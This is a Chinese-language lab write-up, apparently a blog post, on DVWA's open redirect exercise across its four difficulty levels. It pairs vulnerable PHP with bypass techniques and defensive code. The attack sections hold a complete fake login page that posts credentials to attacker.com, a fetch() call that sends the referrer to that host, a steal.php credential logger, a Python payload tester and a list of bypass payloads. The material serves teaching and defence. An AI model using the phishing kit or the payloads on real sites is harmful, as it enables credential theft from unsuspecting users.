0%

DVWA - Open HTTP Redirect (开放重定向) 攻防练习详解

目录


漏洞简介

什么是开放重定向(Open Redirect)?

开放重定向漏洞允许攻击者控制应用程序的重定向目标,将用户重定向到任意外部网站。虽然看似危害较小,但可用于钓鱼攻击和绕过安全控制。

HTTP重定向机制:

1
2
3
4
5
6
7
8
// 方法1:HTTP响应头
header("Location: https://example.com");

// 方法2:HTML meta标签
<meta http-equiv="refresh" content="0;url=https://example.com">

// 方法3:JavaScript
window.location = "https://example.com";

攻击场景:

1
2
3
4
5
6
7
合法使用:
https://example.com/redirect?url=https://example.com/success
→ 重定向到同域名的成功页面

恶意利用:
https://example.com/redirect?url=https://evil.com/phishing
→ 重定向到钓鱼网站

危害:

  1. 钓鱼攻击

    • 用户信任合法域名
    • 被重定向到伪造网站
    • 输入凭证被窃取
  2. 绕过安全控制

    • 绕过URL黑名单
    • 绕过SSRF防护
    • 绕过CSP策略
  3. 会话劫持

    • 重定向时泄露Session ID
    • Referer头包含敏感信息
  4. 恶意软件分发

    • 利用信任关系传播恶意软件

利用链:

1
2
3
4
5
1. 攻击者发送:https://bank.com/redirect?url=https://evil.com/fake-login
2. 用户点击(信任bank.com域名)
3. 自动重定向到evil.com
4. 用户看到伪造的登录页面
5. 输入凭证 → 被窃取

DVWA场景:
一个登录后的重定向功能,用于跳转到指定页面。


Low 难度

攻击目标

完全不验证重定向目标,可重定向到任意URL。

后端代码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php

// 检查是否有重定向参数
// isset() - 检查变量是否存在
// $_GET['redirect'] - 从URL获取重定向参数
if( isset( $_GET[ 'redirect' ] ) ) {

// ★★★ 危险操作:直接获取用户输入,无任何验证 ★★★
// 攻击者可以指定任意URL
// 例如:?redirect=https://evil.com
$redirect = $_GET[ 'redirect' ];

// ★★★ 危险操作:直接重定向到用户指定的URL ★★★
// header() - 设置HTTP响应头
// Location - 重定向到指定URL
//
// 问题:
// 1. 不检查URL是否是内部链接
// 2. 不检查URL是否是合法域名
// 3. 不验证URL格式
// 4. 攻击者可以重定向到任何网站
header( "Location: " . $redirect );

// ★★★ 应该调用exit()停止脚本执行 ★★★
// 但这里没有,可能导致额外问题
// exit;
}

?>

HTML表单:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<!DOCTYPE html>
<html>
<head>
<title>Redirect</title>
</head>
<body>
<h1>Redirect Example</h1>

<!-- 合法使用:重定向到内部页面 -->
<p>
<a href="?redirect=success.php">Go to success page</a>
</p>

<p>
<a href="?redirect=dashboard.php">Go to dashboard</a>
</p>

<!-- ★★★ 恶意利用:重定向到外部网站 ★★★ -->
<!-- 攻击者可以构造这样的链接 -->
<!-- <a href="?redirect=https://evil.com/phishing">Click here</a> -->
</body>
</html>

漏洞分析

核心问题:

  1. 无URL验证 - 接受任意URL
  2. 无域名检查 - 不限制目标域名
  3. 无协议检查 - http、https、javascript:都接受
  4. 无白名单 - 没有允许的URL列表

攻击数据流:

1
2
3
4
5
6
7
用户输入: ?redirect=https://evil.com

直接获取: $redirect = $_GET['redirect']

直接重定向: header("Location: $redirect")

浏览器跳转: https://evil.com

攻击步骤

步骤1:基础重定向攻击

测试1:重定向到外部网站

1
2
3
4
5
URL: ?redirect=https://google.com
结果:成功重定向到Google

URL: ?redirect=https://evil.com
结果:成功重定向到恶意网站

步骤2:构造钓鱼攻击

创建伪造登录页面(evil.com/fake-login.html):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
<!DOCTYPE html>
<html>
<head>
<title>DVWA Login</title>
<style>
/* 模仿DVWA的样式 */
body {
font-family: Arial;
background: #f0f0f0;
}
.login-box {
width: 300px;
margin: 100px auto;
background: white;
padding: 20px;
border-radius: 5px;
box-shadow: 0 0 10px rgba(0,0,0,0.1);
}
h2 {
text-align: center;
color: #333;
}
input {
width: 100%;
padding: 10px;
margin: 10px 0;
border: 1px solid #ddd;
border-radius: 3px;
}
button {
width: 100%;
padding: 10px;
background: #007bff;
color: white;
border: none;
border-radius: 3px;
cursor: pointer;
}
</style>
</head>
<body>
<div class="login-box">
<h2>Session Expired</h2>
<p>Please login again:</p>

<form action="https://attacker.com/steal.php" method="POST">
<input type="text" name="username" placeholder="Username" required>
<input type="password" name="password" placeholder="Password" required>
<button type="submit">Login</button>
</form>
</div>

<script>
// 可选:窃取Referer中的信息
fetch('https://attacker.com/log.php?ref=' + encodeURIComponent(document.referrer));
</script>
</body>
</html>

攻击链接:

1
2
3
4
5
6
7
8
https://dvwa.local/vulnerabilities/redirect/?redirect=https://evil.com/fake-login.html

用户点击后:
1. 看到来自dvwa.local的链接(信任)
2. 自动跳转到evil.com
3. 看到伪造的登录页面
4. 输入凭证
5. 凭证被发送到attacker.com/steal.php

steal.php(窃取凭证):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
// 记录窃取的凭证
$username = $_POST['username'] ?? '';
$password = $_POST['password'] ?? '';
$ip = $_SERVER['REMOTE_ADDR'];
$time = date('Y-m-d H:i:s');

$log = "$time - IP: $ip - User: $username - Pass: $password\n";

file_put_contents('stolen_credentials.txt', $log, FILE_APPEND);

// 重定向回真实网站(隐蔽)
header("Location: https://dvwa.local/login.php?error=invalid");
?>

步骤3:使用JavaScript协议

1
2
3
URL: ?redirect=javascript:alert('XSS')

某些浏览器可能执行JavaScript(虽然现代浏览器有防护)

步骤4:绕过简单的协议检查

1
2
3
4
5
6
7
8
9
10
如果代码只检查http/https:

?redirect=//evil.com
→ 协议相对URL,使用当前协议

?redirect=https:evil.com
→ 某些解析器可能误判

?redirect=HtTpS://evil.com
→ 大小写混淆

步骤5:结合XSS攻击

1
2
3
4
<!-- 如果重定向参数也被输出到页面 -->
?redirect="><script>alert('XSS')</script>

可能导致XSS + 重定向组合攻击

Medium 难度

攻击目标

简单的域名过滤,但可以绕过。

后端代码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php

if( isset( $_GET[ 'redirect' ] ) ) {

$redirect = $_GET[ 'redirect' ];

// ★★★ 新增:简单的域名检查 ★★★
// 使用正则表达式检查URL
// preg_match() - 正则匹配函数
// 参数1:正则表达式
// 参数2:要匹配的字符串
// 返回值:1匹配,0不匹配
//
// 正则:/http[s]?:\/\/example\.com/i
// 分解:
// http[s]? - http或https
// :\/\/ - ://
// example\.com - 域名
// i - 不区分大小写
//
// 问题:
// 1. 只检查是否"包含"域名,不是完整匹配
// 2. evil.com/page?url=http://example.com 会通过
// 3. http://example.com.evil.com 会通过
if( preg_match( "/http[s]?:\/\/example\.com/i", $redirect ) ) {

// 包含example.com,允许重定向
header( "Location: " . $redirect );
exit;

} else {

// 不包含example.com,拒绝
echo "<pre>Invalid redirect URL</pre>";
}
}

?>

新增防护

  1. 正则检查 - 检查URL是否包含合法域名
  2. 协议限制 - 只允许http/https

仍存在的漏洞

核心问题:正则表达式使用不当

1
2
3
4
5
6
7
// 错误的正则:只要包含example.com就通过
preg_match("/http[s]?:\/\/example\.com/i", $url)

// 可以绕过的URL:
"http://evil.com?fake=http://example.com"
"http://example.com.evil.com"
"http://evil.com#http://example.com"

绕过方法

方法1:域名后缀绕过

1
2
3
4
5
6
7
8
9
注册域名:example.com.evil.com

URL: ?redirect=http://example.com.evil.com

正则检查:
/http[s]?:\/\/example\.com/i 匹配到 "http://example.com"
→ 通过检查

实际重定向:http://example.com.evil.com(恶意网站)

方法2:使用@符号

1
2
3
4
5
6
7
URL: ?redirect=http://example.com@evil.com

解析:
正则看到:http://example.com
浏览器解析:http://evil.com (example.com被当作用户名)

结果:重定向到evil.com

方法3:URL参数绕过

1
2
3
4
URL: ?redirect=http://evil.com?ref=http://example.com

正则检查:包含"http://example.com" → 通过
实际重定向:http://evil.com

方法4:Fragment绕过

1
2
3
4
URL: ?redirect=http://evil.com#http://example.com

正则检查:包含"http://example.com" → 通过
实际重定向:http://evil.com(#后面是fragment,不影响域名)

方法5:URL编码绕过

1
2
3
4
5
URL: ?redirect=http://evil.com%3Furl%3Dhttp://example.com

解码后:http://evil.com?url=http://example.com
正则检查:通过
实际重定向:evil.com

High 难度

攻击目标

更严格的域名检查,但仍有绕过可能。

后端代码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<?php

if( isset( $_GET[ 'redirect' ] ) ) {

$redirect = $_GET[ 'redirect' ];

// ★★★ 改进:使用parse_url()解析URL ★★★
// parse_url() - 解析URL,返回各个组成部分
// 返回数组:
// ['scheme'] => 'https'
// ['host'] => 'example.com'
// ['path'] => '/page'
// ['query'] => 'param=value'
//
// 这比正则更可靠
$parsed_url = parse_url( $redirect );

// ★★★ 检查是否成功解析 ★★★
if( !$parsed_url ) {
echo "<pre>Invalid URL format</pre>";
exit;
}

// ★★★ 改进:检查host字段 ★★★
// 只允许特定域名
$allowed_hosts = [
'example.com',
'www.example.com',
'subdomain.example.com'
];

$host = $parsed_url['host'] ?? '';

// ★★★ 检查host是否在白名单中 ★★★
// in_array() - 检查数组中是否存在某值
if( in_array( $host, $allowed_hosts ) ) {

// 域名在白名单中,允许重定向
header( "Location: " . $redirect );
exit;

} else {

// ★★★ 问题:错误信息可能泄露白名单 ★★★
echo "<pre>Invalid host: $host. Allowed: " . implode(', ', $allowed_hosts) . "</pre>";
}
}

?>

新增防护

  1. parse_url()解析 - 正确解析URL结构
  2. 白名单检查 - 只允许特定域名
  3. 检查host字段 - 验证域名部分

仍存在的漏洞

可能的绕过:

  1. URL解析差异 - 不同解析器对URL的理解不同
  2. 协议相对URL - //example.com
  3. 端口号绕过 - example.com:80
  4. IPv6绕过 - [::1]

绕过方法

方法1:利用解析器差异

1
2
3
4
5
6
7
8
9
10
11
某些情况下,parse_url()和浏览器解析URL的方式不同

URL: http://example.com\@evil.com

parse_url()可能认为:
host = "example.com"

但浏览器可能认为:
host = "evil.com"

结果:检查通过,但重定向到evil.com

方法2:协议相对URL

1
2
3
4
5
如果允许的白名单没有检查协议:

URL: ?redirect=//evil.com

某些配置下可能绕过检查

方法3:端口绕过

1
2
3
4
URL: ?redirect=http://example.com:8080@evil.com


URL: ?redirect=http://example.com%2f.evil.com

实际测试:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import requests
from urllib.parse import urlencode

url = "http://dvwa.local/vulnerabilities/redirect/"
cookies = {
'security': 'high',
'PHPSESSID': 'your_session'
}

# 测试各种绕过payload
payloads = [
"http://example.com@evil.com",
"http://example.com\\@evil.com",
"http://example.com%2f.evil.com",
"//evil.com",
"http://example.com:80@evil.com"
]

for payload in payloads:
params = {'redirect': payload}
response = requests.get(url, params=params, cookies=cookies, allow_redirects=False)

if response.status_code == 302:
location = response.headers.get('Location')
print(f"[+] Payload worked: {payload}")
print(f" Redirects to: {location}")
else:
print(f"[-] Payload blocked: {payload}")

Impossible 难度

攻击目标

完善的URL验证,真正安全。

后端代码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
<?php

if( isset( $_GET[ 'redirect' ] ) ) {

// ★★★ 改进1:验证Anti-CSRF token ★★★
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

$redirect = $_GET[ 'redirect' ];

// ★★★ 核心防护1:严格的白名单 ★★★
// 定义允许的重定向URL(相对路径或绝对路径)
$allowed_redirects = [
'success.php',
'dashboard.php',
'/vulnerabilities/redirect/success.php',
'https://www.example.com/success'
];

// ★★★ 核心防护2:完全匹配,不是包含 ★★★
// in_array() - 严格检查
// 参数3:true表示严格比较(类型和值都要相等)
if( in_array( $redirect, $allowed_redirects, true ) ) {

// ★★★ 额外检查:如果是绝对URL,验证协议和域名 ★★★
if( strpos( $redirect, 'http' ) === 0 ) {
// 解析URL
$parsed = parse_url( $redirect );

if( !$parsed ) {
echo "<pre>Invalid URL format</pre>";
exit;
}

// ★★★ 验证协议 ★★★
$allowed_schemes = ['http', 'https'];
$scheme = $parsed['scheme'] ?? '';

if( !in_array( $scheme, $allowed_schemes ) ) {
echo "<pre>Invalid protocol</pre>";
exit;
}

// ★★★ 验证域名 ★★★
$allowed_domains = ['www.example.com', 'example.com'];
$host = $parsed['host'] ?? '';

if( !in_array( $host, $allowed_domains ) ) {
echo "<pre>Invalid domain</pre>";
exit;
}

// ★★★ 验证端口(如果有) ★★★
$port = $parsed['port'] ?? null;
if( $port !== null && !in_array( $port, [80, 443] ) ) {
echo "<pre>Invalid port</pre>";
exit;
}
}

// ★★★ 所有检查通过,安全重定向 ★★★
header( "Location: " . $redirect );
exit;

} else {

// ★★★ 改进:不透露白名单信息 ★★★
echo "<pre>Invalid redirect target</pre>";

// ★★★ 记录可疑行为 ★★★
logSecurityEvent('Invalid redirect attempt', [
'user' => dvwaCurrentUser(),
'redirect' => $redirect,
'ip' => $_SERVER['REMOTE_ADDR'],
'timestamp' => date('Y-m-d H:i:s')
]);
}
}

// 生成新的CSRF token
generateSessionToken();

?>

HTML表单(包含CSRF token):

1
2
3
4
5
6
7
8
9
10
11
12
<form method="GET">
<input type="hidden" name="user_token" value="<?php echo $_SESSION['session_token']; ?>">

<label>Select destination:</label>
<select name="redirect">
<option value="success.php">Success Page</option>
<option value="dashboard.php">Dashboard</option>
<option value="https://www.example.com/success">External Success</option>
</select>

<button type="submit">Go</button>
</form>

完善的防护机制

多层防御:

  1. CSRF Token - 防止跨站请求伪造
  2. 严格白名单 - 只允许预定义的URL
  3. 完全匹配 - 不是部分匹配
  4. 协议验证 - 只允许http/https
  5. 域名验证 - 只允许指定域名
  6. 端口验证 - 只允许标准端口
  7. 审计日志 - 记录所有失败尝试
  8. 不泄露信息 - 错误消息统一

验证流程:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
用户选择重定向目标

1. 验证CSRF Token → 无效则拒绝

2. 检查是否在白名单中 → 不在则拒绝

3. 如果是绝对URL
a. 验证协议 → 不是http/https则拒绝
b. 验证域名 → 不在白名单则拒绝
c. 验证端口 → 非标准端口则拒绝

4. 记录重定向日志

5. 执行重定向

为什么无法攻破?

所有攻击都被阻止:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
攻击1:?redirect=https://evil.com
白名单检查 → 不在列表 → 拒绝

攻击2:?redirect=success.php@evil.com
白名单检查 → 完全不匹配 → 拒绝

攻击3:?redirect=https://example.com.evil.com
白名单检查 → 不在列表 → 拒绝

攻击4:?redirect=//evil.com
白名单检查 → 不在列表 → 拒绝

攻击5:URL编码绕过
白名单检查 → 编码后不匹配 → 拒绝

关键防御点:

  1. 白名单机制 - 默认拒绝,只允许明确列出的URL
  2. 完全匹配 - 不接受任何变体
  3. 多层验证 - 协议、域名、端口都检查
  4. CSRF防护 - 防止攻击者构造恶意链接
  5. 审计日志 - 记录所有异常

防御建议

代码层面

1. 使用白名单(最佳方案)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// 定义允许的重定向URL
$allowed_redirects = [
'/dashboard',
'/profile',
'/settings',
'https://trusted-site.com/page'
];

$redirect = $_GET['redirect'] ?? '';

// 严格匹配
if (!in_array($redirect, $allowed_redirects, true)) {
die('Invalid redirect');
}

header("Location: $redirect");
exit;

2. 只允许相对路径

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// 只允许站内跳转
$redirect = $_GET['redirect'] ?? '/';

// 确保是相对路径
if (strpos($redirect, 'http') !== false ||
strpos($redirect, '//') !== false) {
die('Only relative paths allowed');
}

// 额外:防止路径遍历
$redirect = str_replace('..', '', $redirect);

header("Location: $redirect");
exit;

3. 验证域名

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
function isAllowedDomain($url) {
$parsed = parse_url($url);

if (!$parsed || !isset($parsed['host'])) {
return false;
}

$allowed_domains = [
'example.com',
'www.example.com',
'subdomain.example.com'
];

return in_array($parsed['host'], $allowed_domains);
}

$redirect = $_GET['redirect'];

if (!isAllowedDomain($redirect)) {
die('Invalid domain');
}

header("Location: $redirect");
exit;

4. 使用映射而非直接URL

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
// 使用ID映射到URL
$redirect_map = [
'success' => '/success.php',
'dashboard' => '/dashboard.php',
'profile' => '/user/profile.php'
];

$redirect_id = $_GET['redirect'] ?? '';

if (!isset($redirect_map[$redirect_id])) {
die('Invalid redirect ID');
}

header("Location: " . $redirect_map[$redirect_id]);
exit;

5. 添加确认页面

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// 重定向到外部网站前显示警告
$redirect = $_GET['redirect'];

if (isExternalUrl($redirect)) {
// 显示确认页面
?>
<h2>You are leaving our site</h2>
<p>You are about to visit: <?php echo htmlspecialchars($redirect); ?></p>
<p>Do you want to continue?</p>
<a href="<?php echo htmlspecialchars($redirect); ?>">Yes, continue</a>
<a href="/">No, stay here</a>
<?php
exit;
}

header("Location: $redirect");
exit;

框架层面

Laravel示例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
// 使用Laravel的重定向
Route::get('/redirect', function() {
$redirect = request('redirect');

// 白名单检查
$allowed = [
route('dashboard'),
route('profile'),
'https://trusted-site.com/page'
];

if (!in_array($redirect, $allowed)) {
abort(400, 'Invalid redirect');
}

return redirect($redirect);
});

// 或使用intended()方法(Laravel内置安全重定向)
return redirect()->intended('/dashboard');

Express.js示例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
app.get('/redirect', (req, res) => {
const redirect = req.query.redirect;

// 白名单
const allowed = [
'/dashboard',
'/profile',
'https://trusted-site.com/page'
];

if (!allowed.includes(redirect)) {
return res.status(400).send('Invalid redirect');
}

res.redirect(redirect);
});

监控层面

1. 记录所有重定向

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
function logRedirect($user, $target, $success) {
$log = [
'timestamp' => date('Y-m-d H:i:s'),
'user' => $user,
'target' => $target,
'success' => $success,
'ip' => $_SERVER['REMOTE_ADDR'],
'user_agent' => $_SERVER['HTTP_USER_AGENT']
];

file_put_contents(
'/var/log/security/redirects.log',
json_encode($log) . "\n",
FILE_APPEND
);
}

2. 检测异常重定向模式

1
2
3
4
5
6
7
8
9
// 检测大量失败的重定向尝试
function detectRedirectAbuse($ip) {
$recent_failures = countRecentFailures($ip, 300); // 5分钟

if ($recent_failures > 10) {
alertSecurity("Possible open redirect abuse from $ip");
blockIP($ip, 3600); // 封禁1小时
}
}

总结对比

特性 Low Medium High Impossible
URL验证 ❌ 无 正则包含 parse_url 严格白名单
域名检查 弱检查 白名单 严格白名单
协议检查 http/https http/https http/https
匹配方式 N/A 包含匹配 精确匹配 完全匹配
CSRF防护
审计日志
攻击难度 极易 简单 中等 极难

常用Payload集合

基础Payload

1
2
3
4
5
6
7
8
9
10
# 外部重定向
?redirect=https://evil.com
?redirect=http://attacker.com/phishing

# 协议相对URL
?redirect=//evil.com

# JavaScript协议
?redirect=javascript:alert(1)
?redirect=data:text/html,<script>alert(1)</script>

绕过技巧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# 域名后缀
?redirect=http://example.com.evil.com

# @符号
?redirect=http://example.com@evil.com

# URL参数
?redirect=http://evil.com?ref=http://example.com

# Fragment
?redirect=http://evil.com#http://example.com

# 反斜杠
?redirect=http://example.com\@evil.com

# URL编码
?redirect=http://evil.com%3Furl%3Dhttp://example.com

# 换行符
?redirect=http://example.com%0D%0ALocation:%20http://evil.com

实战建议

渗透测试清单:

  1. ✅ 测试是否接受外部URL
  2. ✅ 尝试各种协议(http, https, javascript, data)
  3. ✅ 测试@符号绕过
  4. ✅ 测试域名后缀绕过
  5. ✅ 测试URL参数/fragment绕过
  6. ✅ 测试解析器差异
  7. ✅ 检查是否有确认页面

防御清单:

  1. ✅ 使用白名单
  2. ✅ 只允许相对路径(如果可能)
  3. ✅ 验证协议、域名、端口
  4. ✅ 使用ID映射
  5. ✅ 添加确认页面(外部跳转)
  6. ✅ 记录所有重定向
  7. ✅ 实施CSRF防护

道德准则:

  • 只在授权环境测试
  • 不构造真实钓鱼页面
  • 学习是为了防御开放重定向攻击
点这里请我吃个小蛋糕吧~~

Welcome to my other publishing channels